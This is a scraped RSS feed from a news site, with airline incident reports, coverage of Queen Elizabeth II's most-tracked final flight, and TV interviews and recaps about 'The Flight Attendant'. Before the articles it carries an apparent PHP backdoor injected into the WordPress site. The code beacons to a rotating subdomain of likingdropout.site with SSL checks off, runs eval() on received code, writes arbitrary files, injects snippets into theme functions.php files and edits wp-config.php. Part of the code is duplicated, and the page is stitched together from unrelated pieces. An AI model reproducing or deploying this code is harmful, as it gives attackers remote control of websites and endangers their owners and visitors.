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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Flight – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 26 Sep 2022 01:48:39 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Flight – Brief News https://briefnews.eu 32 32 California man accuses Southwest Airlines passenger of physically assaulting and hurling racist slurs at his wife on flight to Phoenix https://briefnews.eu/california-man-accuses-southwest-airlines-passenger-of-physically-assaulting-and-hurling-racist-slurs-at-his-wife-on-flight-to-phoenix/ https://briefnews.eu/california-man-accuses-southwest-airlines-passenger-of-physically-assaulting-and-hurling-racist-slurs-at-his-wife-on-flight-to-phoenix/#respond Mon, 26 Sep 2022 01:48:39 +0000 https://briefnews.eu/california-man-accuses-southwest-airlines-passenger-of-physically-assaulting-and-hurling-racist-slurs-at-his-wife-on-flight-to-phoenix/ "You guys should ask for security to walk" note written on Southwest Airlines paper.
A note passed among seatmates during the alleged incident.

Courtesy of Faraaz Sareshwala

  • Google software engineer Faraaz Sareshwala said his wife was assaulted on a Southwest flight to Phoenix.
  • In a thread of tweets, he called out Southwest Airlines for not reprimanding the man he said is responsible.
  • The Phoenix Police Department handed the case over to the FBI since it occurred in the air.

A California man is accusing a Southwest Airlines passenger of physically and verbally assaulting his wife on a Saturday morning flight from Orlando to Phoenix.

In a series of tweets, Google software engineer Faraaz Sareshwala detailed an encounter in which a man sitting in front of his wife, Saarah, allegedly "violently pushed his seat back" repeatedly in an attempt to physically harm her, while also making several "racial slurs (and) misogynistic comments." 

 

According to Sareshwala, Saarah was sleeping with her head on the tray area when she was awoken by the outburst, which was witnessed by her seatmates. Although she was initially unaware of what happened and got up to use the restroom, he wrote that the passengers next to her attempted to confront the man and informed Saarah of the incident upon her return. 

Sareshwala wrote that the man reportedly told the seatmates to "fuck off" and said "that bitch got what was coming for her." As drink services began in the cabin, Sareshwala said the man also made comments to a woman sitting next to him that he should resume hitting the seat in an effort to spill Saarah's drink. 

After struggling to get help from flight attendants, Saarah and her seatmates began passing notes back and forth to communicate about the issue, he said. Sareshwala shared a note from one particular witness, Gabi, who detailed her account of events.

note written by Gabi Calhoun from a Southwest flight from Orlando to Phoenix.

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In his Twitter thread, Sareshwala expressed frustration with Southwest, claiming that though one flight attendants offered to change his wife's seat, they never confronted the man, while another employee only offered to call the police after one of Saarah's seatmates spoke up. 

Sareshwala nor Southwest Airlines immediately responded to Insider's request for comment.

Everyone involved was questioned by the Phoenix Police Department, and the case was turned over to the Federal Bureau of Investigation because the incident occurred in the air, according to Sareshwala.

"We don't have an FBI case number but the Phoenix police said that if the FBI thinks there is enough evidence to press charges they will reach back out," Sareshwala said in a tweet.

He went on to highlight the roles race and gender may have played in the alleged incident. 

"We still don't know why he became so violent. However, I do know that my wife has never felt so violated, voiceless, and powerless," he wrote. "He used racial slurs and misogynistic comments so I guess it was that she was Indian and a woman (read: not white and not a man)."

The Federal Aviation Administration has a strict zero tolerance for unruly or dangerous behavior on flights. On Wednesday, a man was arrested and banned from American Airlines after being seen punching a flight attendant in the back of the head.

 

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Alexander Tung Cuu Le was charged with one count of interference with flight crew members and attendants.

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  • Passengers helped crew to restrain a 33-year-old man on an American Airlines flight on Wednesday.
  • Alexander Tung Cuu Le, 33, has been charged with one count of interference with flight crew members.
  • He has been permanently banned from flying with the airline. 

Passengers on an American Airlines plane helped cabin crew restrain a man after he allegedly punched a flight attendant in the back of the head on Wednesday, officials said.

A Department of Justice news release disclosed that passengers aboard the flight to Los Angeles airport helped to apprehend Alexander Tung Cuu Le after he was seen striking the flight attendant.

An FBI affidavit said Le was then moved to another row over safety concerns and had his hands and legs cuffed. Le continuously unbuckled his seatbelt, leading crew members to further restrain him with seatbelt extenders.

The 33-year-old from Westminster in Orange County, California was detained upon landing at LAX and taken into custody by the Federal Bureau of Investigation because the incident occurred in the air.

Le was charged with one count of interference with flight crew members and attendants, which carries a maximum sentence of 20 years in federal prison, the DOJ said.

He appeared in court in Los Angeles on Thursday, but the matter was adjourned until Monday morning for a detention hearing and he remained in custody. 

According to the DoJ release, Le reportedly began to act erratically shortly after departing Los Cabos in Mexico, loitering away from his seat and making gestures toward crew that were implied as threats of violence.

After assaulting the flight attendant, Le fled toward the back of the plane where he was apprehended by several passengers near an exit row, the DoJ stated.

The FBI affidavit stated that the flight attendant seen being struck by Le was left unable to carry out their normal duties and was taken to hospital after the flight landed.

"Additionally, the crew of AA 377 had to focus on restraining Le, which interfered with their duties and reduced their ability to provide service to over 100 passengers," it said.

Even after Le was restrained, the crew was still concerned about his behavior. One flight attendant was "shaking so much that she had difficulty performing her duties" and stated that the flight was "the longest hour and 58 minutes of my life," according to the affidavit.  

American Airlines has banned Le from its flights. 

"The individual involved in this incident will never be allowed to travel with us in the future, and we will work closely with law enforcement in their investigation," AA said in a statement Thursday.

American Airlines did not immediately respond to Insider's request for additional comment about the incident.

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Flightradar24 said that the Royal Air Force flight carrying the body of the late monarch from Edinburgh, Scotland, to RAF Northolt near London ahead of Monday’s state funeral was tracked by 5 million people across its web and mobile app services.

Final flight of Queen Elizabeth II sets all-time flight tracking record.

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Flightradar24 revealed that the interest in the flight, which took around 70 minutes, put “unprecedented strain” on its platform, causing issues for some of those watching the progress of the Boeing C17-A Globemaster III aircraft as it made its way to London 32o miles south.

Those following the flight made an astonishing 76.2 million requests on the site, described by Flightradar24 as “any action by a user, like clicking on the flight icon, clicking on the aircraft information in the left side box, or adjusting settings.”

In a post about the record-breaking flight, Flightradar24 said: “We expected a large influx of users, but this immediate, massive spike was beyond what we had anticipated. Approximately 600,000 users were able to successfully follow the flight before performance degraded.

“As the stability of the site suffered, we implemented additional measures to ensure Flightradar24 remained accessible to as many users as possible, and users unable to access the site could continue to follow the flight via livestream [on YouTube].”

It added: “Even though our platform suffered under such heavy load, Queen Elizabeth II’s final flight from Edinburgh to RAF Northolt is by far the all-time most tracked flight on Flightradar24 and will likely remain at the top for a long while.”

Queen Elizabeth II died in Balmoral, Scotland, on September 8 after 70 years on the throne. The passing of the nation’s longest-serving monarch has dominated the headlines in the U.K., and with so much interest linked to related events such as the proclamation of King Charles III and preparations for the Queen’s funeral, it’s perhaps not surprising that so many people were curious about Tuesday’s flight.

Flightradar24’s previous tracking record was set just recently by the aircraft carrying U.S. House Speaker Nancy Pelosi to Taipei for her controversial trip to Taiwan, with around 2.2 million people visiting Flightradar24 to follow the plane while it was in the air.

Flightradar24 was created in 2006 by two Swedish aviation enthusiasts. The cross-platform service now tracks around 200,000 flights per day and has several million daily users, comprising everyone from serious aviation fanatics to those checking on the flight of a loved one.

]]> https://briefnews.eu/queens-final-flight-becomes-most-tracked-ever/feed/ 0 The flight carrying Queen Elizabeth’s coffin to London is the most-tracked flight in history https://briefnews.eu/the-flight-carrying-queen-elizabeths-coffin-to-london-is-the-most-tracked-flight-in-history/ https://briefnews.eu/the-flight-carrying-queen-elizabeths-coffin-to-london-is-the-most-tracked-flight-in-history/#respond Wed, 14 Sep 2022 05:37:08 +0000 https://briefnews.eu/the-flight-carrying-queen-elizabeths-coffin-to-london-is-the-most-tracked-flight-in-history/ The coffin of Queen Elizabeth II is transferred by the Royal hearse, after leaving the The RAF aircraft, a C-17 globemaster from 99 squadron after landing at RAF Northolt, west London, to Buckingham Palace, London to lie at rest overnight in the Bow Room, on September 13, 2022 in Uxbridge, England. The coffin carrying Her Majesty Queen Elizabeth II leaves St Giles Church travelling to Edinburgh Airport where it will be flown to London and transferred to Buckingham Palace by road. Queen Elizabeth II died at Balmoral Castle in Scotland on September 8, 2022, and is succeeded by her eldest son, King Charles III.
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  • Over 5 million people tracked Queen Elizabeth II's final flight to London, per Flightradar24.
  • A Royal Air Force flight was carrying the late monarch's coffin from Edinburgh to London on Tuesday.
  • For comparison, 700,000 people tracked US House Speaker Nancy Pelosi's flight to Taiwan in August.

Queen Elizabeth II's final flight to London has become the most-tracked flight ever, with almost 5 million people viewing its flight path, a tracking website said on Wednesday.

The Royal Air Force flight carrying the monarch's body from Edinburgh to London was watched by 4.79 million, according to Flightradar24. Another 296,000 watched the flight's path on a YouTube livestream.

The demand was far higher than what the flight tracking service experienced in August, when US House Speaker Nancy Pelosi visited Taiwan. At the time, over 700,000 people were watching Pelosi's flight, per Flightradar24.

The surge in users viewing the queen's final flight path caused "disruption" to Flightradar24's platform, the tracking service tweeted.

"Prior to the flight's departure, we implemented a number of traffic calming measures to provide our platform with as much stability as possible," said Flightradar24 on its blog. "Based on our experience last month, we expected a large influx of users, but this immediate, massive spike was beyond what we had anticipated."

Queen Elizabeth II died aged 96 at her residence in Balmoral, Scotland, on Thursday. The queen's funeral is scheduled for next Monday.

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  • Delta Air Lines told the father of a child flying solo that she was never released from the gate. 
  • Richard Fritz was told a week after the flight when he went to check in for her return flight home.
  • He said it's happened before and the airline failed to record that she was collected in its system.

Delta Air Lines told an unaccompanied child's father that his daughter had not been picked up from the airport a week after the flight because the airline's system failed to record that she had been collected.

Richard Fritz, from Detroit, Michigan, was told that his 13-year-old daughter was "never released" from the gate when he went to check her in for a flight back home to Burlington, Vermont in the spring.

"When I returned her to the airport a week later, the agent who was trying to check her in said 'our system says she is still waiting for you to pick her up at the gate from last week'," he told Insider.

Fritz said he asked why he or the child's mother was not called if the system indicated that she was still sitting at the gate for a week. He claims it is the second occasion that this had occurred after a similar incident two years ago. 

"They laughed it off and said sometimes the system does not alert us if nobody picks up the child," he said. "I was given no explanation, just that they never released her at the gate. I've not heard back from Delta and I've tried to make complaints." 

The father paid the $ 150 unaccompanied minor fee for each way and he has used its service to fly his daughter from Vermont to Michigan many times before. He claims that the airline is not consistent with its safety measures when he collects her from the airport.

"Sometimes they will check her bracelet number and ask me for a photo ID, other times she's just come off the plane and I've been allowed to take her," he said. "It makes me upset that somebody could have grabbed my daughter or taken off with her and nobody would have known." 

Delta Air Lines did not immediately respond to Insider's request for comment. 

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It was not so much any grand plan but a bit of online shopping that led Kaley Cuoco to the project that would net the Big Bang alum her first-ever Golden Globe nominations — plural, as both an actress and as an executive producer.

As Cuoco winningly detailed in a THR TV’s Top 5 podcast, years ago she was up late browsing for a new read when Chris Bohjalian’s The Flight Attendant caught her eye. “The cover was a woman with blonde hair, and she was running…. It was a very wispy, cool cover,” she shared.

Nearing what would be the end of Big Bang‘s run, Cuoco was being nudged to consider her “next act.” And after reading the thriller’s cover flap, she jumped to option the rights for what would be the first series from her production company Yes, Norman (named after the canine companion she heartbreakingly said goodbye to just weeks ago, after 14 years).

Not 24 hours after Cuoco’s Globes nods were announced (watch her emotional reaction here), the SAG Awards nominated her for Best Comedy Actress and the show for Best Comedy Ensemble. And somewhere in between it all, she hopped on the phone with TVLine to react to The Flight Attendant‘s clearly successful landing.

TVLINE | You have had a very emotional 2021 so far.
Yes. So many ups and downs…. This is definitely an up moment, for sure.

TVLINE | Who’s more excited, Kaley the Actress or Kaley the Executive Producer? Or are they taking turns?
Oh man…. You know, maybe Kaley the Actress, because I’ve been doing this for 30 years. Like, I’ve done it for so long and love being an actor so much, I don’t think of moments like this. And so I’ll never forget this moment. Like, I really won’t. I’m so bursting at the seams.

TVLINE | When you’re developing The Flight Attendant, and when you’re shooting it, obviously you want it to be very good, you want it to be high-quality…. But does it ever slip into your mind, “This could be award-worthy”?
No. If we started thinking that, that would be a problem. All that went through my mind for the past three-and-a-half years since I optioned this book is, “Oh my God, am I making a mistake? Are people going to hate this? Are they going to love it? Oh God, this is so bad, what am I doing? Why am I doing this?”

Being an EP now, you just know way too much, you see all the struggle. As an actor, I get to wake up and walk in, you do your job and then you leave, and you see the end product. But learning the road to the end product, it actually makes this even sweeter, because you know how hard the work is, and how much of a huge team effort it takes.

TVLINE | And all for a property that you bought based on the cover while online shopping one night!
[Laughs] That is very true, yes. I saw the cover of the book, and I read one sentence on Amazon. I then went through the option process for six months while I was reading it, and it was crazy. But I just loved Cassie, and I knew this could be a good show. I remember walking into the studio and saying, “I think this is the next show, but we’ve got to do it right. It’s international, and we can’t do this on a soundstage.” They go, “OK, but it’s going to be expensive,” and I was like, “Yes. Yes, it is.” And then I thought, “Oh God, they’re not going to make this thing. We can’t go around the world, like, what am I thinking?” But they did.

schitts-creek photos happy endingsTVLINE | You watch some TV. Are you familiar at all with any of your competitors in the comedy and comedy actress categories?
Yes, and I actually have a story. So, Catherine O’Hara is one of my favorite actresses ever, and I had not heard of Schitt’s Creek until maybe two years ago, when I was in Thailand shooting Flight Attendant. That was a great experience but it was rough, long hours, in a place I didn’t know, and I said to someone, “I’ve got to get into a new show, I need something to distract me.” They said, “Why don’t you watch Schitt’s Creek?”

I started watching Schitt’s Creek on set, in between takes, and I would literally walk around and talk to everyone like Moira, trying to do her voice. And they’d be like, “Oh God — Kaley’s engrossed in Schitt’s Creek. This is going to be a thing,” because I would, like, become Moira and just be this crazy person. [Laughs] Her scenes got me through shooting my show. So to be in this category with Catherine is something I wouldn’t have ever even dreamed of. I feel extremely honored.

Flight Attendant Annie CassieTVLINE | A few of our readers were surprised to see Flight Attendant competing as a comedy….
Well, [the show] is funny. I mean, I feel that we created a tone that you don’t see very often —  it wasn’t a drama, it wasn’t a comedy, it wasn’t sad, it wasn’t happy. It was such a range of stuff, and to be able to make you laugh through some horrors that we shot, I feel that’s why it was a comedy. There were moments that were lighthearted, really crazy comedic moments that we felt were very, very special, and that it lent itself to comedy.

TVLINE | Flight Attendant was Yes, Norman’s first big swing. How does this shape what you decide to pursue next as a production company?
I mean, this was literally our first swing. Yes, Norman came about after I optioned this book, and kind of was based around what this project would be. Also, coming off Big Bang, I got asked a lot, “Were you trying to find something that was so different than Penny?,” blah, blah, blah. The truth is — and I really mean this — I wasn’t. I wasn’t looking for something that was so opposite Big Bang. I didn’t care. I loved being part of Big Bang, but I like to go by my gut, and there was something about this that was very gut-driven, and that is how we work at Yes, Norman. We’re not searching for anything specific. If it hits us in the right spot, and it’s with the right people, then we want to do it.

Flight Attendant Kaley CuocoTVLINE | All right, tell me everything you know about Season 2….
God, I know nothing. We just literally got our writers’ room together, so as far as story, there’s nothing there quite yet. But as far as the emotional arc with Cassie, she is going to be trying to live a sober life. But as we know, she’s very impatient, so she thinks that things are going to be super-easy, that this is going to be no big deal, and she’s going to realize really fast that this is going to be a lifelong struggle for her.

TVLINE | Which is how alcoholism is.
Absolutely, but she wants things to be easy and quick, and she is going to realize really fast that this will not happen overnight.

TVLINE | I mean… she drank a lot.
She drank a lot. I had to pee so often on that set, I drank so much water. I was constantly drinking so much water out of those [airplane vodka] bottles….

Flight Attendant Season 2TVLINE | [Showrunner] Steve Yockey told me that there will be a “mind palace” device again, but it’ll obviously be different.
We will, yes. I don’t exactly know how they’re going to do it, but we’ve definitely confirmed that. I think there’s going to be a little bit of Cassie almost in her own mind, if that makes sense, her kind of talking to herself and facing her own demons truly head-on again.

TVLINE | I’m frankly worried for Rosie Perez’s character. Given her storyline, it’d be easy to kill her off and then she is with Cassie in a new mind palace.
We need to find Rosie’s character — Megan became such a fan favorite — and that will be a really big storyline. We’re excited to see where that goes.

TVLINE | Lastly, what are your wants for Season 2? Or, is there anything you’ll be mindful to not do?
What are my wants? You know, it’s so early to know…. We had such a great Season 1, but I want it to even be better, even though that’s hard to do. And I want to come out swinging. What I appreciate with the show, with Steve and our writers, is they really let me go ballistic. I mean, you saw it on-screen. I would like to go ballistic again and keep spreading my wings, because it just became its own entity and I don’t even know what I did half the time. I kind of just left it on the field and walked away, like, “Well, f–k, I hope that worked!”

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The Flight Attendant officially premiered on Thanksgiving with three episodes, the first of which we recapped during the HBO Max series’ free preview.

What all did the titular Cassie confeess to the FBI in Episode 2? And what was she able to find out about the mysterious Miranda?

Confronted along with her colleagues by FBI agents Kim and Van upon deplaning at JFK, Cassie offered precious little about murder victim Alex Sokolov, and eventually asserted she was too jet-lagged/loopy to be of immediate assistance. Afterward, Cassie fretted that fellow flight attendant Megan had said too much to the feds, by claiming that she and Alex had been flirting. As such, once back home, Cassie downed copious months of vodka before slipping into a bubble bath to calm down — though her being vexed about Miranda caused her to accidentally shatter the barware in her hand.

The next morning, Cassie sweats through a spin class when the Alex in her head reminds her that she has his business card, and she thus knows where he works — and maybe Miranda, the associate who joined them for drinks at the hotel, works there too. So with a changed-up ‘do and going by “Alessandra Ricci,” Cassie shows up at Unisphere to meet with Alex. But when Cassie brings up the name Miranda with receptionist Sabrina, red flags start to get raised. Then, when HR honcho Jean Miller presses “Alessandra” about the exact nature of her business with Alex — and claims she knows of no “Miranda” — Cassie makes a run for it, down the fire stairs and to the street.

When FBI agent Van rings Cassie, inviting her to come by the next morning, she swings by gal pal Annie’s law firm, to shed a bit more light on her wild situation. Annie, to put it mildly, is apoplectic about the misguided moves her friend has made thus far. But as her lawyer, she is ready to make things right, provided Cassie gets a good night’s sleep and isn’t late for their morning with the FBI.

Self-destructive Cassie, of course, sets course for a laaaate, wild night, meeting up with coworker Shane and his friends, and eventually chatting up/hooking up with a guy named Barkley, who she meets at the bar. As such, Cassie meets up with Annie late the next morning, looking disheveled and reeking of booze. Annie lays out a simple plan, whereby Cassie will plead the fifth any time her lawyer gives the nod. And that works fine enough… for a hot minute. But when Van slaps down a graphic photo of bloodied Alex, followed by curious photos of Cassie disguised in her headscarf, and then in the Unisphere elevator, she snaps and admits that she had dinner with Alex and had lots of sex with him, but she definitely didn’t kill him. But maybe this mysterious Miranda knows something, she suggests…?

Cassie is rightly chided by Annie afterwards, but she suggests that now the feds think she is simply a drunk, slutty flight attendant and not a killer. (Though technically she could be both, Annie reminds.) Annie urges Cassie to stick with her regular routine and head off her next flight, to Rome. Which Cassie intends to do. But first, sparked by the theory that someone slipped into Alex’s room to kill him when Cassie tried/failed to head home that night, she “bumps into” Sabrina the receptionist, who is rightly guarded at first after the odd events of the previous day. But after a round (or a few) of drinks, Sabrina is willing to give her new pal alllll the hot goss, including how Miranda used to date Alex (possibly at the time of his and Cassie’s Bangkok bangin’), and how she also was not a “stalker,” but you know, a stalker. And a potentially volatile/violent one at that!

Which is not good for Cassie, seeing as on her way home that night, little does she know that Miranda — having obtained Cassie’s identity via a Bangkok bar receipt — is now in New York, and walking right next to her.

Elsewhere in Episode 2:

* When agents Kim and Van locked horns over the latter’s aggressive approach — he jumped the gun by bringing Cassie in, assuming the hotel surveillance tapes would incriminate her (but instead had been erased) — he reckoned the brass must like his tactics if in half the time he rose to the same rank as his partner. This set Kim off on a brilliant monologue about how Van, fitting the Bureau’s “male and pale” archetype, had a far easier ascension than she did as a Black woman who would never be given the latitude to make such bold plays.

* Megan met up at night with a clerk at some kind of store to train prescription drugs she has on hand for… non-scanned flash drives? (Despite multiple replays, the exact nature of this transaction, perhaps purposely, eluded me.)

* Cassie’s brother Davey is very worried about her — namely, her drinking — and whether it’s prudent for her to be around his kids anymore.

TVLine readers gave The Flight Attendant premiere episode an average grade of “B.” What did you think of Episode 2?

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The Flight Attendant served up an early (and free!) landing ahead of its official Thanksgiving Day premiere on HBO Max. Does the dramedic thriller offer a first-class diversion?

Based on the 2018 novel of the same name by Chris Bohjalian, the series follows Cassie Bowden (in a showstopping performance by The Big Bang Theory’s Kaley Cuoco), a flight attendant for an international airline who takes full advantage of her exotic travel opportunities. Simultaneously a mess and in complete control of her life, Cassie sets off on a flight to Bangkok, Thailand, expecting to party it up before returning to New York for a visit with her brother (Grey’s Anatomy’s T.R. Knight) and nieces.

Flight Attendant RecapA TALL, DARK STRANGER | While in the air, Cassie hits it off with Seat 3C aka Alex Sokolov (Game of Thrones’ Michiel Huisman). After a fun romp in the first-class bathroom, Alex asks her out on a proper date. The two explore the city’s sites before settling in Alex’s hotel room for the night. However, this perfect date experiences some unexpected turbulence when Cassie wakes up with a major hangover… and Alex’s dead, bloody body beside her.

Cassie immediately rushes to the phone to report Alex’s death. However, a panic attack and a brief phone conversation with her friend Annie (Girls’ Zosia Mamet) about the case of Amanda Knox convince her otherwise. She cleans up the scene and heads to her next flight, which is taking her to Seoul, South Korea.

NEWS TRAVELS FAST | Back in Thailand, a mysterious woman (Chilling Adventures of Sabrina’s Michelle Gomez) calls the hotel to ask them to check on Alex. Room service finds the body and alerts the local officials, who subsequently notify the U.S. State Department and FBI. By the time Cassie has landed in Seoul, the news is already over the web, causing her to panic even more — and that is after her awkward interactions with the flight’s air marshal and fellow flight attendant Megan (Rise‘s Rosie Perez).

At the Seoul hotel, Cassie’s memory starts to come back to her — juxtaposed with some shots of her supposedly as a child standing over a dead deer. After realizing she lost her ID card, her mind “transports” here back to the Bangkok hotel room, where she tries to piece together the night with her subconscious’ version of Alex. However, this only leaves her with more questions.

WELCOME TO NEW YORK | Cassie finally completes the third leg of her trip, landing in New York City. But her dreams of putting this all behind her are dashed when the FBI brings in the flight crew for questioning. Cassie unsuccessfully tries to flee the airport, raising the suspicions of Agents Kim Hammond (Greenleaf’s Merle Dandridge) and Van White (Counterpart’s Nolan Gerard Funk). While being interrogated, Cassie is again “transported” back to the hotel room and remembers that another person was with her and Alex the night before he died. Who was it, what do they know about Alex’s death?

What did you think of the first leg of The Flight Attendant? Episodes 2 and 3 arrive Thursday on HBO Max, followed by weekly releases.

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The Right Stuff has selected its first three astronauts to take flight, and unfortunately for Mercury Seven hopeful Scott Carpenter, he wasn’t among the chosen trio in this past Friday’s episode of the Disney+ drama.

With Alan Shepard, Gus Grissom and John Glenn picked to head into space, in that order, it “absolutely” changes Scott’s trajectory, his portrayer James Lafferty tells TVLine. “I think all of the astronauts were hoping that they would be first, or at least that they would be in that top three. And so for Scott, specifically, I think once those first three are chosen, it raises the question of, ‘What did I do wrong to not make that cut? What is my place within this program now?’ It’s not just, ‘When am I going to go up?’ It’s, ‘What role do I find myself in now?’”

“Once all of these astronauts hit their stride in this program, they really wanted to stay in it, and they wanted to be a part of it, and they wanted to feel like they were worth something to that program,” Lafferty continues. “You want to make sure that you’re bringing something to the table. So I think that’s Scott’s conflict moving forward after these first three are chosen.”

While Scott was not lucky enough to get the job of the first American man in space, Lafferty was thrilled to get the gig of portraying the astronaut. “As soon as it came through my representatives that they were reading for these roles of the Mercury Seven astronauts, a light bulb went off over my head,” Lafferty says. “This was like a dream come true to play one of these characters… I’m so thankful that I made it through the process, and that I actually got the job, because I do feel like, to a certain extent, I was born to play this role.”

